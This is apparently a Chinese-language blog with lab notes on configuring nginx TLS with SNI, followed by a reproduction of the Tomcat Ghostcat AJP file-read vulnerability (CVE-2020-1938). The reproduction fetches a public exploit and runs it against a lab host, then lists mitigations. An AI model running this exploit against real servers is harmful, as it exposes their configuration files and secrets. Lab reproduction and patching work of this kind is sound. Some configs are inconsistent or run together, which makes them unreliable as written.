sni

SNI產(chǎn)生背景
SSL以及TLS（SSL的升級(jí)版）為客戶端與服務(wù)器端進(jìn)行安全連接提供了條件。但是，由于當(dāng)時(shí)技術(shù)限制，SSL初期的設(shè)計(jì)順應(yīng)經(jīng)典的公鑰基礎(chǔ)設(shè)施 PKI(Public Key Infrastructure)設(shè)計(jì)，PKI 認(rèn)為一個(gè)服務(wù)器只為一個(gè)域名提供服務(wù)，從而一個(gè)服務(wù)器上也就只能使用一個(gè)證書。這樣客戶端在發(fā)送請(qǐng)求的時(shí)候，利用DNS域名解析，只要向解析到的IP地址（服務(wù)器地址）發(fā)送請(qǐng)求，然后服務(wù)器將自身唯一的證書返回回來，交給客戶端驗(yàn)證，驗(yàn)證通過，則繼續(xù)進(jìn)行后續(xù)通信。然后通過協(xié)商好的加密通道，獲得所需要的內(nèi)容。這意味著服務(wù)器可以在 SSL 的啟動(dòng)動(dòng)階段發(fā)送或提交證書，因?yàn)樗浪跒槟膫€(gè)特定的域名服務(wù)。

隨著HTTP 服務(wù)器開啟虛擬主機(jī)支持后，每個(gè)服務(wù)器通過相同的IP地址可以為很多域名提供服務(wù)。這種為虛擬主機(jī)提供通信安全的簡單途徑，卻經(jīng)常導(dǎo)致使用了錯(cuò)誤的數(shù)字證書，因?yàn)榉?wù)器端無法知道客戶端到底請(qǐng)求的是哪個(gè)域名下的服務(wù)，從而導(dǎo)致瀏覽器對(duì)用戶發(fā)出警告。

不幸的是，當(dāng)設(shè)置了 SSL加密，服務(wù)器在讀取HTTP請(qǐng)求里面的域名之前已經(jīng)向客戶端提交了證書，也就是已經(jīng)為默認(rèn)域提供了服務(wù)。但是，一個(gè)服務(wù)器可能為上千個(gè)域名提供服務(wù)，不可能將所有證書都發(fā)送給客戶端，讓客戶端一一驗(yàn)證，找到與請(qǐng)求域名對(duì)應(yīng)的證書。SNI的設(shè)計(jì)目的是為了讓服務(wù)器根據(jù)請(qǐng)求來決定為哪個(gè)域服務(wù)，這個(gè)信息通常從HTTP請(qǐng)求頭獲得。

前置環(huán)境搭建：

[root@localhost nginx]# mkdir certificate
[root@localhost nginx]# cd certificate/[root@localhost certificate]# openssl genrsa -des3 -out ssl.key 4096 
[root@localhost certificate]# openssl req -new -key ssl.key -out aaa.csr
[root@localhost certificate]# openssl x509 -req -days 365 -in aaa.csr -signkey ssl.key  -out aaa.crt[root@localhost certificate]# openssl genrsa -des3 -out ssl2.key 4096 
[root@localhost certificate]# openssl req -new -key ssl2.key -out bbb.csr
[root@localhost certificate]# openssl x509 -req -days 365 -in bbb.csr -signkey ssl2.key -out bbb.crt

[root@localhost certificate]# cd /var/www/
[root@localhost www]# mkdir aaa
[root@localhost www]# mkdir bbb
[root@localhost www]# echo "this is a" > /var/www/aaa/index.html
[root@localhost www]# echo "this is b" > /var/www/bbb/index.html

修改本機(jī)hosts文件在C:\Windows\System32\drivers\etc下

單主機(jī)生效

雙方使用同一個(gè)證書

server {listen       443 ssl;server_name  www.aaa.com;ssl_certificate      /usr/local/nginx/certificate/aaa.crt;ssl_certificate_key  /usr/local/nginx/certificate/ssl.key;ssl_session_cache    shared:SSL:1m;ssl_session_timeout  5m;ssl_ciphers  HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers  on;location / {root   /var/www/aaa;index  index.html index.htm;}}server {listen       443 ssl;server_name  www.bbb.com;ssl_certificate       /usr/local/nginx/certificate/aaa.crt;ssl_certificate_key  /usr/local/nginx/certificate/ssl.key;ssl_session_cache    shared:SSL:1m;ssl_session_timeout  5m;ssl_ciphers  HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers  on;location / {root   /var/www/bbb;index  index.html index.htm;}}

雙方使用不同證書

server {listen       443 ssl;server_name  www.aaa.com;ssl_certificate      /usr/local/nginx/certificate/aaa.crt;ssl_certificate_key  /usr/local/nginx/certificate/ssl.key;ssl_session_cache    shared:SSL:1m;ssl_session_timeout  5m;ssl_ciphers  HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers  on;location / {root   /var/www/aaa;index  index.html index.htm;}}server {listen       443 ssl;server_name  www.bbb.com;ssl_certificate      /usr/local/nginx/certificate/bbb.crt;ssl_certificate_key  /usr/local/nginx/certificate/sslb.key;ssl_session_cache    shared:SSL:1m;ssl_session_timeout  5m;ssl_ciphers  HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers  on;location / {root   /var/www/bbb;index  index.html index.htm;}}

---

證書與私鑰的區(qū)分配置

server {listen       443 ssl;server_name  www.aaa.com;ssl_certificate      /usr/local/nginx/certificate/aaa.crt;ssl_certificate_key  /usr/local/nginx/certificate/ssl.key;ssl_session_cache    shared:SSL:1m;ssl_session_timeout  5m;ssl_ciphers  HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers  on;location / {root   /var/www/aaa;index  index.html index.htm;}}server {listen       443 ssl;server_name  www.bbb.com;ssl_certificate      /usr/local/nginx/certificate/bbb.crt;ssl_certificate_key  /usr/local/nginx/certificate/sslb.key;ssl_session_cache    shared:SSL:1m;ssl_session_timeout  5m;ssl_ciphers  HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers  on;location / {root   /var/www/bbb;index  index.html index.htm;}}

端口號(hào)區(qū)分，證書區(qū)分

server {listen       8443 ssl;server_name  www.bbb.com;ssl_certificate      /usr/local/nginx/certificate/bbb.crt;ssl_certificate_key  /usr/local/nginx/certificate/sslb.key;ssl_session_cache    shared:SSL:1m;ssl_session_timeout  5m;ssl_ciphers  HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers  on;location / {root   /var/www/bbb;index  index.html index.htm;}}server {listen       8444 ssl;server_name  www.aaa.com;ssl_certificate      /usr/local/nginx/certificate/aaa.crt;ssl_certificate_key  /usr/local/nginx/certificate/ssl.key;ssl_session_cache    shared:SSL:1m;ssl_session_timeout  5m;ssl_ciphers  HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers  on;location / {root   /var/www/aaa;index  index.html index.htm;}

端口號(hào)區(qū)分,證書不區(qū)分

server {listen       8443 ssl;server_name  www.bbb.com;ssl_certificate      /usr/local/nginx/certificate/aaa.crt;ssl_certificate_key  /usr/local/nginx/certificate/ssl.key;ssl_session_cache    shared:SSL:1m;ssl_session_timeout  5m;ssl_ciphers  HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers  on;location / {root   /var/www/bbb;index  index.html index.htm;}}server {listen       8444 ssl;server_name  www.aaa.com;ssl_certificate      /usr/local/nginx/certificate/aaa.crt;ssl_certificate_key  /usr/local/nginx/certificate/ssl.key;ssl_session_cache    shared:SSL:1m;ssl_session_timeout  5m;ssl_ciphers  HIGH:!aNULL:!MD5;ssl_prefer_server_ciphers  on;location / {root   /var/www/aaa;index  index.html index.htm;}

tomcat幽靈貓漏洞復(fù)現(xiàn)

---

漏洞編號(hào):
CVE-2020-1938
CNVD-2020-10487
影響版本：
Apache Tomcat = 6
7 <= Apache Tomcat < 7.0.100
8 <= Apache Tomcat < 8.5.51
9 <= Apache Tomcat < 9.0.31
解決措施：
配置ajp配置中的secretRequired跟secret屬性來限制認(rèn)證 ；
臨時(shí)禁用AJP協(xié)議端口，在conf/server.xml配置文件中注釋掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” /> ；
環(huán)境搭建#

centos7安裝git，如果有g(shù)it則不用安裝

yum install git -y

安裝完成后使用下面的命令克隆環(huán)境

git clone https://github.com/laolisafe/CVE-2020-1938

啟動(dòng)Apache，注意有先安裝java環(huán)境
java環(huán)境安裝

wget https://download.oracle.com/java/19/latest/jdk-19_linux-x64_bin.tar.gztar -zxvf jdk-19_linux-x64_bin.tar.gz [root@localhost local]# tar -zxvf  /usr/local/jdk-19_linux-x64_bin.
tar (child): /usr/local/jdk-19_linux-x64_bin.：無法 open: 沒有那個(gè)文件或目錄
tar (child): Error is not recoverable: exiting now
tar: Child returned status 2
tar: Error is not recoverable: exiting now
如果在解壓是出現(xiàn)這個(gè)問題就將壓縮包移動(dòng)到/home下[root@localhost local]# mv jdk-19_linux-x64_bin.tar.gz /home/
[root@localhost local]# cd /home/
[root@localhost home]# ls
jdk-19_linux-x64_bin.tar.gz  ztx
[root@localhost home]# tar -zxvf jdk-19_linux-x64_bin.tar.gz[root@localhost home]# vim /etc/profile
添加一下幾行
JAVA_HOME=/usr/local/jdk19.0.2
JAVA_BIN=/usr/local/jdk19.0.2/bin
PATH=$PATH:$JAVA_BIN
CLASSPATH=$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
export JAVA_HOME JAVA_BIN PATH CLASSPATH[root@localhost home]# source /etc/profile
[root@localhost home]# env 

tomcat環(huán)境安裝

[root@localhost home]# wget https://dlcdn.apache.org/tomcat/tomcat-8/v8.5.85/bin/apache-tomcat-8.5.85.tar.gz
[root@localhost home]# tar -zxvf apache-tomcat-8.5.85.tar.gz[root@localhost home]# mv apache-tomcat-8.5.85/ /usr/local/tomcat8.0
[root@localhost home]# cd /usr/local/
[root@localhost local]#  ln -s /usr/local/tomcat8.0/ /usr/local/tomcat[root@localhost local]# cd tomcat8.0/bin/
[root@localhost bin]# ls
bootstrap.jar       commons-daemon-native.tar.gz  setclasspath.sh       tool-wrapper.bat
catalina.bat        configtest.bat                shutdown.bat          tool-wrapper.sh
catalina.sh         configtest.sh                 shutdown.sh           version.bat
catalina-tasks.xml  daemon.sh                     startup.bat           version.sh
ciphers.bat         digest.bat                    startup.sh
ciphers.sh          digest.sh                     tomcat-juli.jar
commons-daemon.jar  setclasspath.bat              tomcat-native.tar.gz
[root@localhost bin]# vim catalina.sh 
[root@localhost bin]# chmod +x *.sh
[root@localhost bin]# ./startup.sh （啟動(dòng)tomcat）

下載exp

git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

我們這里讀取WEB-INF/web.xml文件

python CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f WEB-INF/web.xml 192.168.221.130

解決方案#

1、臨時(shí)禁用AJP協(xié)議端口，在conf/server.xml配置文件中注釋掉
2、配置ajp配置中的secretRequired跟secret屬性來限制認(rèn)證
3、官方下載最新版